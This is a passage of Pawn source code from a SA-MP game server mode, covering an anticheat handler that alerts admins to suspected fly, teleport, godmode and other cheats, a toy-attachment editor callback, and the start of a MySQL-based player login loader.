		//}
        //CheatsCount[playerid] ++;
	    //if(CheatsCount[playerid] >= CheatMaxWarn)
	    //{
			        //new bcx[144];
		            //format(bcx, 144, "AntiCheat kicked you cause of your max warns (%i/%i)", CheatsCount[playerid], CheatMaxWarn);
		            //SendMessage(playerid, COLOR_LIGHTRED, bcx);
		 //SCM(playerid, COLOR_LIGHTRED, "AntiCheat kicked you with reason: Cheating.");
		 //SCM(playerid, COLOR_LIGHTRED, "Reconnecting...");
	     //RelogPlayerfCheat[playerid] = SetTimerEx("Relogmec", 50, false, "i", playerid);
         //}
	}
	//4Airbreak/fly
	if(code == 4 && flymode[playerid] == 0 && anticheat[playerid] != 0)
	{
		if(IsPlayerInAnyVehicle(playerid))
		{
			if(GetPlayerState(playerid) == PLAYER_STATE_DRIVER)
			{
				//new model = GetVehicleModel(GetPlayerVehicleID(playerid)) - 400;
				format(string, sizeof(string), "[Admin-Warn]:{ffffff} %s(%i) abk/fly suspicious PL: %0.2f, FPS: %d (InVeh)", PlayerInfo[playerid][pName],playerid,playerpackets,pFPS[playerid]);
				if(cheatcode4[playerid] != 1)
				{
				SendAdminMessage(COLOR_AdminWarn, string);
   		        SetTimerEx("cheatcode4timer", 5000, 0, "i", playerid);
  		        cheatcode4[playerid] = 1;
				}
				CheatsCount[playerid] ++;
	    //if(CheatsCount[playerid] >= CheatMaxWarn)
	    //{
			        //new bcx[144];
		            //format(bcx, 144, "AntiCheat kicked you cause of your max warns (%i/%i)", CheatsCount[playerid], CheatMaxWarn);
		            //SendMessage(playerid, COLOR_LIGHTRED, bcx);
		 //SCM(playerid, COLOR_LIGHTRED, "AntiCheat kicked you with reason: Cheating.");
		 //SCM(playerid, COLOR_LIGHTRED, "Reconnecting...");
	     //RelogPlayerfCheat[playerid] = SetTimerEx("Relogmec", 50, false, "i", playerid);
         //}
			}
		}
		else
		{
			format(string, sizeof(string), "[Admin-Warn]:{ffffff} %s(%i) abk/fly suspicious PL: %0.2f, FPS: %d (OnFoot)", PlayerInfo[playerid][pName],playerid,playerpackets,pFPS[playerid]);
				if(cheatcode4[playerid] != 1)
				{
			SendAdminMessage(COLOR_AdminWarn, string);
			  		         SetTimerEx("cheatcode4timer", 5000, 0, "i", playerid);
  		         cheatcode4[playerid] = 1;
  		         }
  		         
  		         
  		         CheatsCount[playerid] ++;
  		   //if(CheatsCount[playerid] >= CheatMaxWarn)
	    //{
			        //new bcx[144];
		            //format(bcx, 144, "AntiCheat kicked you cause of your max warns (%i/%i)", CheatsCount[playerid], CheatMaxWarn);
		            //SendMessage(playerid, COLOR_LIGHTRED, bcx);
		 //SCM(playerid, COLOR_LIGHTRED, "AntiCheat kicked you with reason: Cheating.");
		 //SCM(playerid, COLOR_LIGHTRED, "Reconnecting...");
	     //RelogPlayerfCheat[playerid] = SetTimerEx("Relogmec", 50, false, "i", playerid);
         //}
		}
	}
	if(code == 5 && anticheat[playerid] != 0)
	{
	    if(IsPlayerInAnyVehicle(playerid) && GetPlayerState(playerid) == PLAYER_STATE_DRIVER)
	    {
	        //new model = GetVehicleModel(vehid) - 400;
			format(string, sizeof(string), "[Admin-Warn]:{ffffff} Player %s(%i) is using quick turn on vID: %d (Speed: %dKm/h)", PlayerInfo[playerid][pName],playerid,GetPlayerVehicleID(playerid),speed);
			if(cheatcode5[playerid] != 1)
			{
			SendAdminMessage(COLOR_AdminWarn, string);
            SetTimerEx("cheatcode5timer", 5000, 0, "i", playerid);
  		    cheatcode5[playerid] = 1;
  		    }
  		    CheatsCount[playerid] ++;
  		    //if(CheatsCount[playerid] >= CheatMaxWarn)
	        //{
		     //SCM(playerid, COLOR_LIGHTRED, "AntiCheat kicked you with reason: Cheating.");
		     //SCM(playerid, COLOR_LIGHTRED, "Reconnecting...");
	         //RelogPlayerfCheat[playerid] = SetTimerEx("Relogmec", 50, false, "i", playerid);
            //}
	    }
	}
	if(code == 6 && flymode[playerid] == 0 && anticheat[playerid] != 0)
	{
	    new pspeed = GetPlayerSpeed(playerid);
	    format(string, sizeof(string), "[Admin-Warn]:{ffffff} Player %s(%i) is suspicious for onfoot fast run (P: %d, FPS: %d, PL: %0.2f, OFS: %dKm/h)", PlayerInfo[playerid][pName],playerid,ping,pFPS[playerid],playerpackets,pspeed);
	    if(cheatcode6[playerid] != 1)
	    {
		SendAdminMessage(COLOR_AdminWarn, string);
		SetTimerEx("cheatcode6timer", 5000, 0, "i", playerid);
		cheatcode6[playerid] = 1;
		}
		SetPlayerVelocity(playerid, 0.0, 0.0, 0.0);
  		    CheatsCount[playerid] ++;
  		    //if(CheatsCount[playerid] >= CheatMaxWarn)
	        //{
		     //SCM(playerid, COLOR_LIGHTRED, "AntiCheat kicked you with reason: Cheating.");
		     //SCM(playerid, COLOR_LIGHTRED, "Reconnecting...");
	         //RelogPlayerfCheat[playerid] = SetTimerEx("Relogmec", 50, false, "i", playerid);
            //}
	}
	if(code == 7 && anticheat[playerid] != 0)
	{
	    new model = GetVehicleModel(vehid) - 400;
	    format(string, sizeof(string), "[Admin-Warn]:{ffffff} %s(%i) tuning hack suspicious in vehicle %s(%d) (Prevented)", PlayerInfo[playerid][pName],playerid,aVehicleNames[model],vehid);
	    if(cheatcode7[playerid] != 1)
	    {
		SendAdminMessage(COLOR_AdminWarn, string);
        SetTimerEx("cheatcode7timer", 5000, 0, "i", playerid);
        cheatcode7[playerid] = 1;
        }
  		    CheatsCount[playerid] ++;
  		    //if(CheatsCount[playerid] >= CheatMaxWarn)
	        //{
		     //SCM(playerid, COLOR_LIGHTRED, "AntiCheat kicked you with reason: Cheating.");
		     //SCM(playerid, COLOR_LIGHTRED, "Reconnecting...");
	         //RelogPlayerfCheat[playerid] = SetTimerEx("Relogmec", 50, false, "i", playerid);
            //}
	}
	if(code == 8 && anticheat[playerid] != 0)
	{
	    format(string, sizeof(string), "[Admin-Warn]:{ffffff} %s(%i) fakekill#1 suspicious (P: %d, FPS: %d, PL: %0.2f) (Prevented)", PlayerInfo[playerid][pName],playerid,ping,pFPS[playerid],playerpackets);
	    if(cheatcode8[playerid] != 1)
	    {
		SendAdminMessage(COLOR_AdminWarn, string);
        SetTimerEx("cheatcode8timer", 5000, 0, "i", playerid);
        cheatcode8[playerid] = 1;
        }
  		    CheatsCount[playerid] ++;
  		    //if(CheatsCount[playerid] >= CheatMaxWarn)
	        //{
		     //SCM(playerid, COLOR_LIGHTRED, "AntiCheat kicked you with reason: Cheating.");
		     //SCM(playerid, COLOR_LIGHTRED, "Reconnecting...");
	         //RelogPlayerfCheat[playerid] = SetTimerEx("Relogmec", 50, false, "i", playerid);
            //}
	}
	if(code == 9 && TrueTeleport[playerid] != 1 && anticheat[playerid] != 0)
	{
	    format(string, sizeof(string), "[Admin-Warn]:{ffffff} %s(%i) is moving when %s is frozen (P: %d, FPS: %d, PL: %0.2f)", PlayerInfo[playerid][pName],playerid,(PINFO[playerid][pSex]==1)?("he"):("she"),ping,pFPS[playerid],playerpackets);
	    if(cheatcode9[playerid] != 1)
	    {
		SendAdminMessage(COLOR_AdminWarn, string);
        SetTimerEx("cheatcode9timer", 5000, 0, "i", playerid);
        cheatcode9[playerid] = 1;
        }
  		CheatsCount[playerid] ++;
	    //if(CheatsCount[playerid] >= CheatMaxWarn)
	    //{
		 //SCM(playerid, COLOR_LIGHTRED, "AntiCheat kicked you with reason: Cheating.");
		 //SCM(playerid, COLOR_LIGHTRED, "Reconnecting...");
	     //RelogPlayerfCheat[playerid] = SetTimerEx("Relogmec", 50, false, "i", playerid);
        //}
	}
	if(code == 10 && anticheat[playerid] != 0)
	{
	    //format(string, sizeof(string), "[Admin-Warn]:{ffffff} %s(%i) is trying to enter to an unsynced vehicle (P: %d, FPS: %d, PL: %0.2f, vID: %d) (Prevented)", PlayerInfo[playerid][pName],playerid,ping,pFPS[playerid],playerpackets,vehid);
	    //if(cheatcode10[playerid] != 1)
	    //{
		//SendAdminMessage(COLOR_AdminWarn, string);
        //SetTimerEx("cheatcode10timer", 5000, 0, "i", playerid);
        //cheatcode10[playerid] = 1;
        //}
  		//CheatsCount[playerid] ++;
	    //if(CheatsCount[playerid] >= CheatMaxWarn)
	    //{
		 //SCM(playerid, COLOR_LIGHTRED, "AntiCheat kicked you with reason: Cheating.");
		 //SCM(playerid, COLOR_LIGHTRED, "Reconnecting...");
	     //RelogPlayerfCheat[playerid] = SetTimerEx("Relogmec", 50, false, "i", playerid);
        //}
	}
	if(code == 11 && anticheat[playerid] != 0)
	{
	    format(string, sizeof(string), "[Admin-Warn]:{ffffff} %s(%i) is suspicious for BMX surfing (P: %d, FPS: %d, PL: %0.2f)", PlayerInfo[playerid][pName],playerid,ping,pFPS[playerid],playerpackets);
	    if(cheatcode11[playerid] != 1)
	    {
		SendAdminMessage(COLOR_AdminWarn, string);
        SetTimerEx("cheatcode11timer", 5000, 0, "i", playerid);
        cheatcode11[playerid] = 1;
        }
  		CheatsCount[playerid] ++;
	    //if(CheatsCount[playerid] >= CheatMaxWarn)
	    //{
		 //SCM(playerid, COLOR_LIGHTRED, "AntiCheat kicked you with reason: Cheating.");
		 //SCM(playerid, COLOR_LIGHTRED, "Reconnecting...");
	     //RelogPlayerfCheat[playerid] = SetTimerEx("Relogmec", 50, false, "i", playerid);
        //}
	}
	if(code == 12 && anticheat[playerid] != 0)
	{
	    format(string, sizeof(string), "[Admin-Warn]:{ffffff} %s(%i) fakekill#2 suspicious (P: %d, FPS: %d, PL: %0.2f) (Prevented)", PlayerInfo[playerid][pName],playerid,ping,pFPS[playerid],playerpackets);
	    if(cheatcode12[playerid] != 1)
	    {
		SendAdminMessage(COLOR_AdminWarn, string);
        SetTimerEx("cheatcode12timer", 5000, 0, "i", playerid);
        cheatcode12[playerid] = 1;
        }
  		CheatsCount[playerid] ++;
	    //if(CheatsCount[playerid] >= CheatMaxWarn)
	    //{
		 //SCM(playerid, COLOR_LIGHTRED, "AntiCheat kicked you with reason: Cheating.");
		 //SCM(playerid, COLOR_LIGHTRED, "Reconnecting...");
	     //RelogPlayerfCheat[playerid] = SetTimerEx("Relogmec", 50, false, "i", playerid);
        //}
	}
	if(code == 13 && anticheat[playerid] != 0 && !InvalidClient[playerid])
	{
	    format(string, sizeof(string), "[Admin-Warn]:{ffffff} %s(%i) crasher suspicious (P: %d, FPS: %d, PL: %0.2f) (Prevented)", PlayerInfo[playerid][pName],playerid,ping,pFPS[playerid],playerpackets);
	    if(cheatcode13[playerid] != 1)
	    {
		SendAdminMessage(COLOR_AdminWarn, string);
		SetTimerEx("cheatcode13timer", 5000, 0, "i", playerid);
		cheatcode13[playerid] = 1;
		}
		ResetPlayerKolang(playerid);
		SetSpawnKol(playerid);
		SpawnPlayer(playerid);
		SCM(playerid, COLOR_YELLOW2, "You are respawned due to lag or crashing players.");
	    CheatsCount[playerid] ++;
	    //if(CheatsCount[playerid] >= CheatMaxWarn)
	    //{
		 //SCM(playerid, COLOR_LIGHTRED, "AntiCheat kicked you with reason: Cheating.");
		 //SCM(playerid, COLOR_LIGHTRED, "Reconnecting...");
	     //RelogPlayerfCheat[playerid] = SetTimerEx("Relogmec", 50, false, "i", playerid);
        //}
	}
	if(code == 14 && anticheat[playerid] != 0 && !InvalidClient[playerid])
	{
	    format(string, sizeof(string), "[Admin-Warn]:{ffffff} %s(%i) afk ghost suspicious (P: %d, FPS: %d, PL: %0.2f)", PlayerInfo[playerid][pName],playerid,ping,pFPS[playerid],playerpackets);
	    if(cheatcode14[playerid] != 1)
	    {
		SendAdminMessage(COLOR_AdminWarn, string);
        SetTimerEx("cheatcode14timer", 5000, 0, "i", playerid);
        cheatcode14[playerid] = 1;
        }
  		CheatsCount[playerid] ++;
	    //if(CheatsCount[playerid] >= CheatMaxWarn)
	    //{
		 //SCM(playerid, COLOR_LIGHTRED, "AntiCheat kicked you with reason: Cheating.");
		 //SCM(playerid, COLOR_LIGHTRED, "Reconnecting...");
	     //RelogPlayerfCheat[playerid] = SetTimerEx("Relogmec", 50, false, "i", playerid);
        //}
	}
	if(code == 15 && anticheat[playerid] != 0)
	{
	    format(string, sizeof(string), "[Admin-Warn]:{ffffff} %s(%i) is suspicious for using rapid fire.", PlayerInfo[playerid][pName],playerid);
	    if(cheatcode15[playerid] != 1)
	    {
		SendAdminMessage(COLOR_AdminWarn, string);
        SetTimerEx("cheatcode15timer", 5000, 0, "i", playerid);
        cheatcode15[playerid] = 1;
        }
  		CheatsCount[playerid] ++;
	    //if(CheatsCount[playerid] >= CheatMaxWarn)
	    //{
		 //SCM(playerid, COLOR_LIGHTRED, "AntiCheat kicked you with reason: Cheating.");
		 //SCM(playerid, COLOR_LIGHTRED, "Reconnecting...");
	     //RelogPlayerfCheat[playerid] = SetTimerEx("Relogmec", 50, false, "i", playerid);
        //}
	}
	if(code == 16 && anticheat[playerid] != 0)
	{
	    format(string, sizeof(string), "[Admin-Warn]:{ffffff} %s(%i) is suspicious for using godmode (OnFoot)", PlayerInfo[playerid][pName],playerid);
	    if(cheatcode16[playerid] != 1)
	    {
		SendAdminMessage(COLOR_AdminWarn, string);
        SetTimerEx("cheatcode16timer", 5000, 0, "i", playerid);
        cheatcode16[playerid] = 1;
        }
  		CheatsCount[playerid] ++;
	    //if(CheatsCount[playerid] >= CheatMaxWarn)
	    //{
		 //SCM(playerid, COLOR_LIGHTRED, "AntiCheat kicked you with reason: Cheating.");
		 //SCM(playerid, COLOR_LIGHTRED, "Reconnecting...");
	     //RelogPlayerfCheat[playerid] = SetTimerEx("Relogmec", 50, false, "i", playerid);
        //}
	}
	if(code == 17 && anticheat[playerid] != 0)
	{
	    format(string, sizeof(string), "[Admin-Warn]:{ffffff} %s(%i) is suspicious for using godmode (InVeh)", PlayerInfo[playerid][pName],playerid);
	    if(cheatcode17[playerid] != 1)
	    {
		SendAdminMessage(COLOR_AdminWarn, string);
        SetTimerEx("cheatcode17timer", 5000, 0, "i", playerid);
        cheatcode17[playerid] = 1;
        }
  		CheatsCount[playerid] ++;
	    //if(CheatsCount[playerid] >= CheatMaxWarn)
	    //{
		 //SCM(playerid, COLOR_LIGHTRED, "AntiCheat kicked you with reason: Cheating.");
		 //SCM(playerid, COLOR_LIGHTRED, "Reconnecting...");
	     //RelogPlayerfCheat[playerid] = SetTimerEx("Relogmec", 50, false, "i", playerid);
        //}
	}
	if(code == 18 && anticheat[playerid] != 0 && !InvalidClient[playerid])
	{
	    format(string, sizeof(string), "[Admin-Warn]:{ffffff} %s(%i) is using special actions (Prevented)", PlayerInfo[playerid][pName],playerid);
	    if(cheatcode18[playerid] != 1)
	    {
		SendAdminMessage(COLOR_AdminWarn, string);
        SetTimerEx("cheatcode18timer", 5000, 0, "i", playerid);
        cheatcode18[playerid] = 1;
		}
		SetPlayerSpecialAction(playerid, SPECIAL_ACTION_NONE);
  		CheatsCount[playerid] ++;
	    //if(CheatsCount[playerid] >= CheatMaxWarn)
	    //{
		 //SCM(playerid, COLOR_LIGHTRED, "AntiCheat kicked you with reason: Cheating.");
		 //SCM(playerid, COLOR_LIGHTRED, "Reconnecting...");
	     //RelogPlayerfCheat[playerid] = SetTimerEx("Relogmec", 50, false, "i", playerid);
        //}
	}
	if(code == 19 && anticheat[playerid] != 0)
	{
	    format(string, sizeof(string), "[Admin-Warn]:{ffffff} %s(%i) is adding bullets to %s gun.", PlayerInfo[playerid][pName],playerid,(PINFO[playerid][pSex]==1)?("his"):("her"));
	    if(cheatcode19[playerid] != 1)
	    {
		SendAdminMessage(COLOR_AdminWarn, string);
        SetTimerEx("cheatcode19timer", 5000, 0, "i", playerid);
        cheatcode19[playerid] = 1;
        }
  		CheatsCount[playerid] ++;
	    //if(CheatsCount[playerid] >= CheatMaxWarn)
	    //{
		 //SCM(playerid, COLOR_LIGHTRED, "AntiCheat kicked you with reason: Cheating.");
		 //SCM(playerid, COLOR_LIGHTRED, "Reconnecting...");
	     //RelogPlayerfCheat[playerid] = SetTimerEx("Relogmec", 50, false, "i", playerid);
        //}
	}
	if(code == 20 && anticheat[playerid] != 0)
	{
	    format(string, sizeof(string), "[Admin-Warn]:{ffffff} %s(%i) is shooting with infinite ammo.", PlayerInfo[playerid][pName],playerid);
	    if(cheatcode20[playerid] != 1)
	    {
		SendAdminMessage(COLOR_AdminWarn, string);
        SetTimerEx("cheatcode20timer", 5000, 0, "i", playerid);
        cheatcode20[playerid] = 1;
        }
  		CheatsCount[playerid] ++;
	    //if(CheatsCount[playerid] >= CheatMaxWarn)
	    //{
		 //SCM(playerid, COLOR_LIGHTRED, "AntiCheat kicked you with reason: Cheating.");
		 //SCM(playerid, COLOR_LIGHTRED, "Reconnecting...");
	     //RelogPlayerfCheat[playerid] = SetTimerEx("Relogmec", 50, false, "i", playerid);
        //}
	}
	if(code == 21 && anticheat[playerid] != 0)
	{
	    format(string, sizeof(string), "[Admin-Warn]:{ffffff} %s(%i) is teleport hacking (OnFoot)", PlayerInfo[playerid][pName],playerid);
	    if(cheatcode21[playerid] != 1)
	    {
		SendAdminMessage(COLOR_AdminWarn, string);
        SetTimerEx("cheatcode21timer", 5000, 0, "i", playerid);
        cheatcode21[playerid] = 1;
        }
  		CheatsCount[playerid] ++;
	    //if(CheatsCount[playerid] >= CheatMaxWarn)
	    //{
		 //SCM(playerid, COLOR_LIGHTRED, "AntiCheat kicked you with reason: Cheating.");
		 //SCM(playerid, COLOR_LIGHTRED, "Reconnecting...");
	     //RelogPlayerfCheat[playerid] = SetTimerEx("Relogmec", 50, false, "i", playerid);
        //}
	}
	if(code == 22 && anticheat[playerid] != 0)
	{
	    format(string, sizeof(string), "[Admin-Warn]:{ffffff} %s(%i) is teleport hacking (InVeh)", PlayerInfo[playerid][pName],playerid);
	    if(cheatcode22[playerid] != 1)
	    {
		SendAdminMessage(COLOR_AdminWarn, string);
        SetTimerEx("cheatcode22timer", 5000, 0, "i", playerid);
        cheatcode22[playerid] = 1;
        }
  		CheatsCount[playerid] ++;
	    //if(CheatsCount[playerid] >= CheatMaxWarn)
	    //{
		 //SCM(playerid, COLOR_LIGHTRED, "AntiCheat kicked you with reason: Cheating.");
		 //SCM(playerid, COLOR_LIGHTRED, "Reconnecting...");
	     //RelogPlayerfCheat[playerid] = SetTimerEx("Relogmec", 50, false, "i", playerid);
        //}
	}
	if(code == 23 && anticheat[playerid] != 0)
	{
	    format(string, sizeof(string), "[Admin-Warn]:{ffffff} %s(%i) is using vehicle health hack", PlayerInfo[playerid][pName],playerid);
	    if(cheatcode23[playerid] != 1)
	    {
		SendAdminMessage(COLOR_AdminWarn, string);
        SetTimerEx("cheatcode23timer", 5000, 0, "i", playerid);
        cheatcode23[playerid] = 1;
        }
  		CheatsCount[playerid] ++;
	    //if(CheatsCount[playerid] >= CheatMaxWarn)
	    //{
		 //SCM(playerid, COLOR_LIGHTRED, "AntiCheat kicked you with reason: Cheating.");
		 //SCM(playerid, COLOR_LIGHTRED, "Reconnecting...");
	     //RelogPlayerfCheat[playerid] = SetTimerEx("Relogmec", 50, false, "i", playerid);
        //}
	}
	if(code == 24 && anticheat[playerid] != 0)
	{
	    format(string, sizeof(string), "[Admin-Warn]:{ffffff} %s(%i) is using health hack (Prevented)", PlayerInfo[playerid][pName],playerid);
	    if(cheatcode24[playerid] != 1)
	    {
		SendAdminMessage(COLOR_AdminWarn, string);
        SetTimerEx("cheatcode24timer", 5000, 0, "i", playerid);
        cheatcode24[playerid] = 1;
        }
  		CheatsCount[playerid] ++;
	    //if(CheatsCount[playerid] >= CheatMaxWarn)
	    //{
		 //SCM(playerid, COLOR_LIGHTRED, "AntiCheat kicked you with reason: Cheating.");
		 //SCM(playerid, COLOR_LIGHTRED, "Reconnecting...");
	     //RelogPlayerfCheat[playerid] = SetTimerEx("Relogmec", 50, false, "i", playerid);
        //}
	}
	if(code == 25 && anticheat[playerid] != 0)
	{
	    format(string, sizeof(string), "[Admin-Warn]:{ffffff} %s(%i) is using armour hack (Prevented)", PlayerInfo[playerid][pName],playerid);
	    if(cheatcode25[playerid] != 1)
	    {
		SendAdminMessage(COLOR_AdminWarn, string);
        SetTimerEx("cheatcode25timer", 5000, 0, "i", playerid);
        cheatcode25[playerid] = 1;
        }
  		CheatsCount[playerid] ++;
	    //if(CheatsCount[playerid] >= CheatMaxWarn)
	    //{
		 //SCM(playerid, COLOR_LIGHTRED, "AntiCheat kicked you with reason: Cheating.");
		 //SCM(playerid, COLOR_LIGHTRED, "Reconnecting...");
	     //RelogPlayerfCheat[playerid] = SetTimerEx("Relogmec", 50, false, "i", playerid);
        //}
	}
	if(code == 26 && anticheat[playerid] != 0)
	{
	    format(string, sizeof(string), "[Admin-Warn]:{ffffff} %s(%i) is teleport hacking between pickups", PlayerInfo[playerid][pName],playerid);
	    if(cheatcode26[playerid] != 1)
	    {
		SendAdminMessage(COLOR_AdminWarn, string);
        SetTimerEx("cheatcode26timer", 5000, 0, "i", playerid);
        cheatcode26[playerid] = 1;
        }
  		CheatsCount[playerid] ++;
	    //if(CheatsCount[playerid] >= CheatMaxWarn)
	    //{
		 //SCM(playerid, COLOR_LIGHTRED, "AntiCheat kicked you with reason: Cheating.");
		 //SCM(playerid, COLOR_LIGHTRED, "Reconnecting...");
	     //RelogPlayerfCheat[playerid] = SetTimerEx("Relogmec", 50, false, "i", playerid);
        //}
	}
	if(code == 27)
	{
	    format(string, sizeof(string), "[Admin-Warn]:{ffffff} %s(%i) is trying to flood server.", RPName(playerid),playerid);
		SendAdminMessage(COLOR_AdminWarn, string);
  		CheatsCount[playerid] ++;ConnectIPFl[playerid] ++;
  		if(ConnectIPFl[playerid]>=5){format(string, sizeof(string), "[Admin-Warn]:{ffffff} %s(%i)'s IP Address banned because of flooding.", RPName(playerid),playerid);SendAdminMessage(COLOR_AdminWarn, string);Kick(playerid);}
	}
	    //if(CheatsCount[playerid] >= CheatMaxWarn)
	    //{
		  //if(PINFO[playerid][pAdmin] < 12)
		  //{
		     //SCM(playerid, COLOR_LIGHTRED, "AntiCheat kicked you with reason: Cheating.");
		     //SCM(playerid, COLOR_LIGHTRED, "Reconnecting...");
	         //RelogPlayerfCheat[playerid] = SetTimerEx("Relogmec", 50, false, "i", playerid);
	      //}
        //}
}
/*
forward checkinv(playerid);
public checkinv(playerid) {
new Float:health,Float:health2;
GetPlayerHealth(playerid, health);
GetPlayerKoon(playerid, health2);
new name[MAX_PLAYER_NAME];
GetPlayerName(playerid, name, sizeof(name));
if(health != health2 && AFK[playerid] == 0) {
new string[512];
format(string,sizeof(string),"[Admin-Warn]: {FFFFFF}Server detected a Godmode hack (Invulnerable) On %s(%d).",name,playerid);
ABroadCast(COLOR_AdminWarn,string,1);
}
return 1;
}
*/
forward checkweb(playerid);
public checkweb(playerid) {
LoadWeb(playerid);
}
public OnPlayerEditAttachedObject(playerid, response, index, modelid, boneid, Float:fOffsetX, Float:fOffsetY, Float:fOffsetZ, Float:fRotX, Float:fRotY, Float:fRotZ, Float:fScaleX, Float:fScaleY, Float:fScaleZ)
{
if(FCNPC_IsValid(playerid)) return 1;
	if(response)
    {
        ToysStudioDT[playerid][tobject] = modelid;
        ToysStudioDT[playerid][obone] = boneid;
        ToysStudioDT[playerid][tX] = fOffsetX;
        ToysStudioDT[playerid][tY] = fOffsetY;
        ToysStudioDT[playerid][tZ] = fOffsetZ;
        ToysStudioDT[playerid][trX] = fRotX;
        ToysStudioDT[playerid][trY] = fRotY;
        ToysStudioDT[playerid][trZ] = fRotZ;
        ToysStudioDT[playerid][tsX] = fScaleX;
        ToysStudioDT[playerid][tsY] = fScaleY;
        ToysStudioDT[playerid][tsZ] = fScaleZ;
        SendClientMessage(playerid,COLOR_Good,"Tip: Press key 'Y' to enable mouse cursor.");
        SendClientMessage(playerid,COLOR_Good,"Tip: You can press 'Save' button with mouse cursor to save new offset.");
        UpdateToysEditor(playerid);
        UpdateEditingToy(playerid, ToysStudioDT[playerid][WhoSlot]);
    }
    else
    {
        UpdateToysEditor(playerid);
		UpdateEditingToy(playerid, ToysStudioDT[playerid][WhoSlot]);
        SendClientMessage(playerid,COLOR_Good,"Tip: Press key 'Y' to enable mouse cursor.");
    }
	return 1;
}
public OnPlayerLogin(playerid)
{
if(FCNPC_IsValid(playerid)) return 1;
	if(IsPlayerConnected(playerid))
	{
//	new playerskin;
//	   playerskin = GetPlayerSkin(playerid);
	//PlayerTextDrawSetPreviewModel(playerid, SkinPreview[playerid], playerskin);
	//PlayerTextDrawShow(playerid, SkinPreview[playerid]);
		HeadphoneData[playerid][Color][0] = 2;
		HeadphoneData[playerid][Color][1] = 2;
		HeadphoneData[playerid][Color][2] = 2;

		KillTimer(CheckW[playerid]);
		new query[500];
		mysql_format(handle, query, 500, "UPDATE `friends` SET pOnline='1' WHERE pFriend='%e'",PINFO[playerid][pName]);
		mysql_tquery(handle, query, "SendQuery", "");

	    new query12[256];
	    mysql_format(handle, query12, sizeof(query12), "SELECT * FROM `toys` WHERE Owner='%e'", PINFO[playerid][pName]);
	    mysql_tquery(handle, query12, "ToysCheck", "i", playerid);

		if(FCNPC_IsValid(playerid)) return 1;
		CheckW[playerid] = SetTimerEx("checkweb", 30000, true, "i", playerid);
		//SetTimerEx("checkinv", 15000, true, "i", playerid);
	   PlayerInfo[playerid][pReg] = cache_get_row_int(0,7,handle);

	   if(PlayerInfo[playerid][pReg] == 1) {PINFO[playerid][pID] = cache_get_row_int(0,80,handle);}
       if(IsAdv(RPName(playerid))&&PINFO[playerid][pReg] != 1){ClearNewName();}

	   PlayerInfo[playerid][pLevel] = cache_get_row_int(0,2,handle),
	   PlayerInfo[playerid][pAdmin] = cache_get_row_int(0,3,handle),
	   PlayerInfo[playerid][pPremiumAccount] = cache_get_row_int(0,4,handle),
	   PlayerInfo[playerid][pConnectTime] = cache_get_row_int(0,5,handle),
	   PlayerInfo[playerid][pAFKtime] = cache_get_row_int(0,6,handle);
	   if(PlayerInfo[playerid][pReg] == 1) {cache_get_row(0,8,PlayerInfo[playerid][pRegistredDate],handle,24);}
	   if(PlayerInfo[playerid][pReg] == 1) {cache_get_row(0,9,PlayerInfo[playerid][pLastLogin],handle,64);}
	   PlayerInfo[playerid][pSex] = cache_get_row_int(0,10,handle),
	   PlayerInfo[playerid][pRented] = cache_get_row_int(0,11,handle),
	   PlayerInfo[playerid][pMuteTime] = cache_get_row_int(0,12,handle);
	   PlayerInfo[playerid][pExp] = cache_get_row_int(0,13,handle),
	   PlayerInfo[playerid][pCash] = cache_get_row_int(0,14,handle),
	   PlayerInfo[playerid][pAccount] = cache_get_row_int(0,15,handle),
	   PlayerInfo[playerid][pCrimes] = cache_get_row_int(0,16,handle),
	   PlayerInfo[playerid][pKills] = cache_get_row_int(0,17,handle),
	   PlayerInfo[playerid][pDeaths] = cache_get_row_int(0,18,handle),
	   PlayerInfo[playerid][pArrested] = cache_get_row_int(0,19,handle),
	   PlayerInfo[playerid][pWantedDeaths] = cache_get_row_int(0,20,handle),
	   PlayerInfo[playerid][pPhoneBook] = cache_get_row_int(0,21,handle);
	   PlayerInfo[playerid][pLottoNr] = cache_get_row_int(0,22,handle),
	   PlayerInfo[playerid][pFishes] = cache_get_row_int(0,23,handle),
	   PlayerInfo[playerid][pJob] = cache_get_row_int(0,24,handle),
	   PlayerInfo[playerid][pPayCheck] = cache_get_row_float(0,25,handle),
	   PlayerInfo[playerid][pHeadValue] = cache_get_row_int(0,26,handle),
	   PlayerInfo[playerid][pJailTime] = cache_get_row_int(0,27,handle),
	   PlayerInfo[playerid][pMats] = cache_get_row_int(0,28,handle),
	   PlayerInfo[playerid][pDrugs] = cache_get_row_int(0,29,handle);
	   PlayerInfo[playerid][pLeader] = cache_get_row_int(0,30,handle),
	   PlayerInfo[playerid][pTow] = cache_get_row_int(0,31,handle),
	   PlayerInfo[playerid][pMember] = cache_get_row_int(0,32,handle),
	   PlayerInfo[playerid][pPunish] = cache_get_row_int(0,33,handle),
	   PlayerInfo[playerid][pFwarn] = cache_get_row_int(0,34,handle),
	   PlayerInfo[playerid][pRank] = cache_get_row_int(0,35,handle),
	   PlayerInfo[playerid][cSkin] = cache_get_row_int(0,36,handle),
	   PlayerInfo[playerid][fSkin] = cache_get_row_int(0,37,handle),
	   PlayerInfo[playerid][pWalkieTalkie] = cache_get_row_int(0,38,handle),
	   PlayerInfo[playerid][pDetSkill] = cache_get_row_int(0,39,handle);
	   PlayerInfo[playerid][pLawSkill] = cache_get_row_int(0,40,handle),
	   PlayerInfo[playerid][pMechSkill] = cache_get_row_int(0,41,handle),
	   PlayerInfo[playerid][pJackSkill] = cache_get_row_int(0,42,handle),
	   PlayerInfo[playerid][pNewsSkill] = cache_get_row_int(0,43,handle),
	   PlayerInfo[playerid][pDrugsSkill] = cache_get_row_int(0,44,handle),
	   PlayerInfo[playerid][pMatsSkill] = cache_get_row_int(0,45,handle),
	   PlayerInfo[playerid][pTeam] = cache_get_row_int(0,46,handle),
	   PlayerInfo[playerid][pPnumber] = cache_get_row_int(0,47,handle),
	   PlayerInfo[playerid][pPhousekey] = cache_get_row_int(0,48,handle);

	   PlayerInfo[playerid][pRob] = cache_get_row_int(0,49,handle),
	   PlayerInfo[playerid][pRobSkill] = cache_get_row_int(0,50,handle);
	   if(PlayerInfo[playerid][pReg] == 1) {PlayerInfo[playerid][pPbiskey] = cache_get_row_int(0,51,handle);}
	   PlayerInfo[playerid][pCarLic] = cache_get_row_int(0,52,handle),
	   PlayerInfo[playerid][pFlyLic] = cache_get_row_int(0,53,handle),
	   PlayerInfo[playerid][pBoatLic] = cache_get_row_int(0,54,handle);
	   PlayerInfo[playerid][pFishLic] = cache_get_row_int(0,55,handle),
	   PlayerInfo[playerid][pGunLic] = cache_get_row_int(0,56,handle),
	   PlayerInfo[playerid][pMatsLic] = cache_get_row_int(0,57,handle),
